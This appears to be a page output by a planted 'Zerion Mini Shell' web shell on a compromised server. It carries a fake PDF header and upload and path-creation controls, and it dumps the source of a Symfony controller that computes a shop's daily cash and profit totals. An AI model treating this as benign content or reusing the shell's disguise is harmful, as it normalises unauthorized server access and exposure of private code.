%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/src/EEM/FonctionnaliteBundle/Controller/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/src/EEM/FonctionnaliteBundle/Controller/FonctionnaliteController.php

<?php

namespace EEM\FonctionnaliteBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\Request;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
use EEM\FonctionnaliteBundle\Form\HistoriqueSearchType;

/**
 *
 * @Route("/")
 */
class FonctionnaliteController extends Controller
{

    /**
     * Lists all reglement entities.
     *
     * @Route("/", name="front")
     * @Method("GET")
     */
    public function AccueilFrontAction(Request $request)
    {
        return $this->render('@EEMFonctionnalite/front/accueil.html.twig', array(

        ));
    }
    /**
     * Lists all reglement entities.
     *
     * @Route("/admin/", name="accueil")
     * @Method("GET")
     * @Security("has_role('ROLE_USER')")
     */
    public function accueilAction(Request $request)
    {

        return $this->render('@EEMFonctionnalite/caisse/accueil.html.twig', array(

        ));
    }

    /**
     * Lists all reglement entities.
     *
     * @Route("/admin/mouvement-article", name="mouvement_article")
     * @Method("GET")
     * @Security("has_role('ROLE_USER')")
     */
    public function HistoriqueAction(Request $request)
    {
        $form = $this->createForm('EEM\FonctionnaliteBundle\Form\HistoriqueSearchType');
        $form->handleRequest($request);

        if ($form->isSubmitted()) {
            $url = $this->buildSearchUrl($request->request->all());
            if (!empty($url)) {
                return $this->redirectToRoute('mouvement_article', $url);
            }
        }

        $em = $this->getDoctrine()->getManager();
        $historiques = $em->getRepository('EEMFonctionnaliteBundle:Historique')->MyFindAll($request->query->all());

        return $this->render('@EEMFonctionnalite/historique/mouvement.html.twig', array(
            'historiques' => $historiques,
            'form' => $form->createView(),
        ));
    }
    /**
     * Lists all reglement entities.
     *
     * @Route("/admin/benefice", name="benefice")
     * @Method("GET")
     * @Security("has_role('ROLE_ADMIN')")
     */
    public function beneficeAction(Request $request)
    {
        $em = $this->getDoctrine()->getManager();
        $tab_benefice = [];

        $ventes = $em->getRepository('EEMVenteBundle:Vente')->findAll();
        $recharges = $em->getRepository('EEMRechargeBundle:Recharge')->findBy(['type' => 'vente']);
        $maintenances = $em->getRepository('EEMMaintenanceBundle:Maintenance')->findAll();
        foreach ($ventes as $vente) {
            $date_vente = strtotime($vente->getDateVente()->format('Y-m-d'));
            $total_vente = 0;
            $total_vente_gros = 0;
            $total_vente_maintenance = 0;
            foreach ($vente->getLigneVentes() as $ligneVente) {
                if ($ligneVente->getArticle()->getFamille()->getPieceRechange() == true) {
                    $total_vente_maintenance += $ligneVente->getQte() * ($ligneVente->getPrixVente() - $ligneVente->getPrixAchat());
                } else {
                    if($vente->getType()=='detail'){
                        $total_vente += $ligneVente->getQte() * ($ligneVente->getPrixVente() - $ligneVente->getPrixAchat());
                    }
                    if($vente->getType()=='gros'){
                        $total_vente_gros += $ligneVente->getQte() * ($ligneVente->getPrixVente() - $ligneVente->getPrixAchat());
                    }
                }
            }

            if ($total_vente != 0) {
                if (isset($tab_benefice[$date_vente]['vente_detail'])) {
                    $new_montant = $tab_benefice[$date_vente]['vente_detail'] + $total_vente;
                } else {
                    $new_montant = $total_vente;
                }
                $tab_benefice[$date_vente]['vente_detail'] = $new_montant;
            }

            if ($total_vente_gros != 0) {
                if (isset($tab_benefice[$date_vente]['vente_gros'])) {
                    $new_montant = $tab_benefice[$date_vente]['vente_gros'] + $total_vente_gros;
                } else {
                    $new_montant = $total_vente_gros;
                }
                $tab_benefice[$date_vente]['vente_gros'] = $new_montant;
            }

            if ($total_vente_maintenance != 0) {
                if (isset($tab_benefice[$date_vente]['maintenance'])) {
                    $new_montant = $tab_benefice[$date_vente]['maintenance'] + $total_vente_maintenance;
                } else {
                    $new_montant = $total_vente_maintenance;
                }
                $tab_benefice[$date_vente]['maintenance'] = $new_montant;
            }
        }
        foreach ($maintenances as $maintenance) {
            if($maintenance->getDateSortie()){
                $date_sortie = strtotime($maintenance->getDateSortie()->format('Y-m-d'));
                if (isset($tab_benefice[$date_sortie]['maintenance'])) {
                    $new_montant = $tab_benefice[$date_sortie]['maintenance'] + $maintenance->getBenefice();
                } else {
                    $new_montant = $maintenance->getBenefice();
                }
                $tab_benefice[$date_sortie]['maintenance'] = $new_montant;
            }
        }
        /*foreach ($maintenances as $maintenance) {
            $date_reception = strtotime($maintenance->getDateReception()->format('Y-m-d'));
            if (isset($tab_benefice[$date_reception]['maintenance'])) {
                $new_montant = $tab_benefice[$date_reception]['maintenance'] + $maintenance->getBenefice();
                echo $maintenance->getDateReception()->format('Y-m-d')."-benefice-".$maintenance->getBenefice().'<br>';
            } else {
                $new_montant = $maintenance->getAvance();
                echo $maintenance->getDateReception()->format('Y-m-d')."-avance-".$maintenance->getAvance().'<br>';
            }
            $tab_benefice[$date_reception]['maintenance'] = $new_montant;
        }*/

        foreach ($recharges as $recharge) {
            $date_recharge = strtotime($recharge->getDateRecharge()->format('Y-m-d'));
            $total_recharge = 0;
            foreach ($recharge->getLigneRecharges() as $ligneRecharge) {
                $total_recharge += $ligneRecharge->getQte() * ($ligneRecharge->getMontant() - $ligneRecharge->getMontantAchat());
            }
            if (isset($tab_benefice[$date_recharge]['recharge'])) {
                $new_montant = $tab_benefice[$date_recharge]['recharge'] + $total_recharge;
            } else {
                $new_montant = $total_recharge;
            }
            $tab_benefice[$date_recharge]['recharge'] = $new_montant;
        }

        krsort($tab_benefice);
        //echo "<pre>" . print_r($tab_benefice, 1) . "</pre>";
        $tab_source = [
            'recharge' => 'Recharge',
            'vente_detail' => 'Vente détail',
            'vente_gros' => 'Vente gros',
            'maintenance' => 'Maintenance',
        ];
        return $this->render('@EEMFonctionnalite/caisse/benefice.html.twig', array(
            'tab_benefice' => $tab_benefice,
            'tab_source' => $tab_source,
        ));
    }

    /**
     * Lists all reglement entities.
     *
     * @Route("/admin/caisse", name="caisse_index")
     * @Method("GET")
     * @Security("has_role('ROLE_USER')")
     */
    public function caisseAction(Request $request)
    {
        $em = $this->getDoctrine()->getManager();


        $ventes = $em->getRepository('EEMVenteBundle:Vente')->findAll();
        $traites = $em->getRepository('EEMTraiteBundle:Traite')->findAll();
        $ligneTraites = $em->getRepository('EEMTraiteBundle:LigneTraite')->findBy(['etat' => 1]);
        $recharges = $em->getRepository('EEMRechargeBundle:Recharge')->findBy(['type' => 'vente']);
        $maintenances = $em->getRepository('EEMMaintenanceBundle:Maintenance')->findAll();
        $changements = $em->getRepository('EEMVenteBundle:Changement')->findAll();
        //$factures = $em->getRepository('EEMPieceBundle:Piece')->findBy(['typePiece'=>'facture']);
        //$bonLivraisons = $em->getRepository('EEMPieceBundle:Piece')->findBy(['typePiece'=>'bon_livraison']);
        $tab_caisse = [];
        foreach ($ventes as $vente) {
            $date_vente = strtotime($vente->getDateVente()->format('Y-m-d'));
            $total_vente = 0;
            //$total_vente_gros = 0;
            $total_maintenance = 0;
            foreach ($vente->getLigneVentes() as $ligneVente) {
                if ($ligneVente->getArticle()->getFamille()->getPieceRechange() == true) {
                    $total_maintenance += $ligneVente->getQte() * $ligneVente->getPrixVente();
                } else {
                    if($vente->getType()=='detail'){
                        $total_vente += $ligneVente->getQte() * $ligneVente->getPrixVente();
                    }
                    /*if($vente->getType()=='gros'){
                        $total_vente_gros += $ligneVente->getQte() * $ligneVente->getPrixVente();
                    }*/
                }
            }
            if ($total_vente != 0) {
                if (isset($tab_caisse[$date_vente]['vente_detail'])) {
                    $new_montant = $tab_caisse[$date_vente]['vente_detail'] + $total_vente;
                } else {
                    $new_montant = $total_vente;
                }
                $tab_caisse[$date_vente]['vente_detail'] = $new_montant;
            }

            /*if ($total_vente_gros != 0) {
                if (isset($tab_caisse[$date_vente]['vente_gros'])) {
                    $new_montant = $tab_caisse[$date_vente]['vente_gros'] + $total_vente_gros;
                } else {
                    $new_montant = $total_vente_gros;
                }
                $tab_caisse[$date_vente]['vente_gros'] = $new_montant;
            }*/

            if ($total_maintenance != 0) {
                if (isset($tab_caisse[$date_vente]['maintenance'])) {
                    $new_montant = $tab_caisse[$date_vente]['maintenance'] + $total_maintenance;
                } else {
                    $new_montant = $total_maintenance;
                }
                $tab_caisse[$date_vente]['maintenance'] = $new_montant;
            }
        }
        foreach ($recharges as $recharge) {
            $date_recharge = strtotime($recharge->getDateRecharge()->format('Y-m-d'));
            $total_recharge = 0;
            foreach ($recharge->getLigneRecharges() as $ligneRecharge) {
                $total_recharge += $ligneRecharge->getQte() * $ligneRecharge->getMontant();
            }
            if (isset($tab_caisse[$date_recharge]['recharge'])) {
                $new_montant = $tab_caisse[$date_recharge]['recharge'] + $total_recharge;
            } else {
                $new_montant = $total_recharge;
            }
            $tab_caisse[$date_recharge]['recharge'] = $new_montant;
        }
        foreach ($maintenances as $maintenance) {
            //avance maintenance
            $date_reception = strtotime($maintenance->getDateReception()->format('Y-m-d'));

            if (isset($tab_caisse[$date_reception]['maintenance'])) {
                $new_montant = $tab_caisse[$date_reception]['maintenance'] + $maintenance->getAvance();
            } else {
                $new_montant = $maintenance->getAvance();
            }
            //echo $maintenance->getDateReception()->format('Y-m-d').' -- '.$maintenance->getAvance()."<br>";
            $tab_caisse[$date_reception]['maintenance'] = $new_montant;
            //reste maintenance
            if (!empty($maintenance->getDateSortie()) && $maintenance->getRestePayer() > 0) {
                $date_sortie = strtotime($maintenance->getDateSortie()->format('Y-m-d'));

                if (isset($tab_caisse[$date_sortie]['maintenance'])) {
                    $new_montant = $tab_caisse[$date_sortie]['maintenance'] + $maintenance->getRestePayer();
                } else {
                    $new_montant = $maintenance->getRestePayer();
                }
                $tab_caisse[$date_sortie]['maintenance'] = $new_montant;
            }

        }

        foreach ($traites as $traite) {
            $date_traite = strtotime($traite->getDateTraite()->format('Y-m-d'));
            if (isset($tab_caisse[$date_traite]['avance_traite'])) {
                $new_montant = $tab_caisse[$date_traite]['avance_traite'] + $traite->getMontantAvance();
            } else {
                $new_montant = $traite->getMontantAvance();
            }
            $tab_caisse[$date_traite]['avance_traite'] = $new_montant;
        }

        /*foreach ($factures as $facture) {
            $date_facture = strtotime($facture->getDatePiece()->format('Y-m-d'));
            $total_facture=0;
            foreach ($facture->getLignePieces() as $ligne){
                $total_facture +=$ligne->getTotalPrix();
            }
            if (isset($tab_caisse[$date_facture]['facture'])) {
                $new_montant = $tab_caisse[$date_facture]['facture'] + $total_facture;
            } else {
                $new_montant = $total_facture;
            }
            $tab_caisse[$date_facture]['facture'] = $new_montant;
        }
        foreach ($bonLivraisons as $bonLivraison) {
            $date_bl = strtotime($bonLivraison->getDatePiece()->format('Y-m-d'));
            $total_bl=0;
            foreach ($bonLivraison->getLignePieces() as $ligne){
                $total_bl +=$ligne->getTotalPrix();
            }
            if (isset($tab_caisse[$date_bl]['bl'])) {
                $new_montant = $tab_caisse[$date_bl]['bl'] + $total_facture;
            } else {
                $new_montant = $total_bl;
            }
            $tab_caisse[$date_bl]['bl'] = $new_montant;
        }*/

        foreach ($ligneTraites as $ligne_traite) {
            $date_ligne_traite = strtotime($ligne_traite->getDatePaiement()->format('Y-m-d'));
            if (isset($tab_caisse[$date_ligne_traite]['traite'])) {
                $new_montant = $tab_caisse[$date_ligne_traite]['traite'] + $ligne_traite->getMontant();
            } else {
                $new_montant = $ligne_traite->getMontant();
            }
            $tab_caisse[$date_ligne_traite]['traite'] = $new_montant;
        }

        foreach ($changements as $changement) {

            $date_changement = strtotime($changement->getDateChangement()->format('Y-m-d'));
            $difference = ($changement->getPrixChangee() * $changement->getQteChangee()) - ($changement->getPrixAChangee() * $changement->getQteAChangee());
            if (isset($tab_caisse[$date_changement]['changement'])) {
                $new_montant = $tab_caisse[$date_changement]['changement'] + $difference;
            } else {
                $new_montant = $difference;
            }
            $tab_caisse[$date_changement]['changement'] = $new_montant;
        }
        //exit();
        krsort($tab_caisse);
        //echo "<pre>" . print_r($tab_caisse, 1) . "</pre>";
        $tab_source = [
            'reglement' => 'Réglement',
            'recharge' => 'Recharge',
            'vente_detail' => 'Vente détail',
            'vente_gros' => 'Vente gros',
            'facture' => 'Facture',
            /*'bl' => 'Bon livraison',*/
            'traite' => 'Traite',
            'avance_traite' => 'Avance traite',
            'maintenance' => 'Maintenance',
            'changement' => 'Changement',
        ];
        return $this->render('@EEMFonctionnalite/caisse/index.html.twig', array(
            'tab_caisse' => $tab_caisse,
            'tab_source' => $tab_source,
        ));
    }


    private function buildSearchUrl($data)
    {
        $url = [];
        foreach ($data as $k => $v) {
            if (isset($data['search_historique']['dateDu']) && !empty($data['search_historique']['dateDu'])) {
                $url['dateDu'] = $data['search_historique']['dateDu'];
            }
            if (isset($data['search_historique']['dateAu']) && !empty($data['search_historique']['dateAu'])) {
                $url['dateAu'] = $data['search_historique']['dateAu'];
            }
            if (isset($data['search_historique']['article']) && !empty($data['search_historique']['article'])) {
                $url['article'] = $data['search_historique']['article'];
            }
        }
        return $url;
    }
}

Zerion Mini Shell 1.0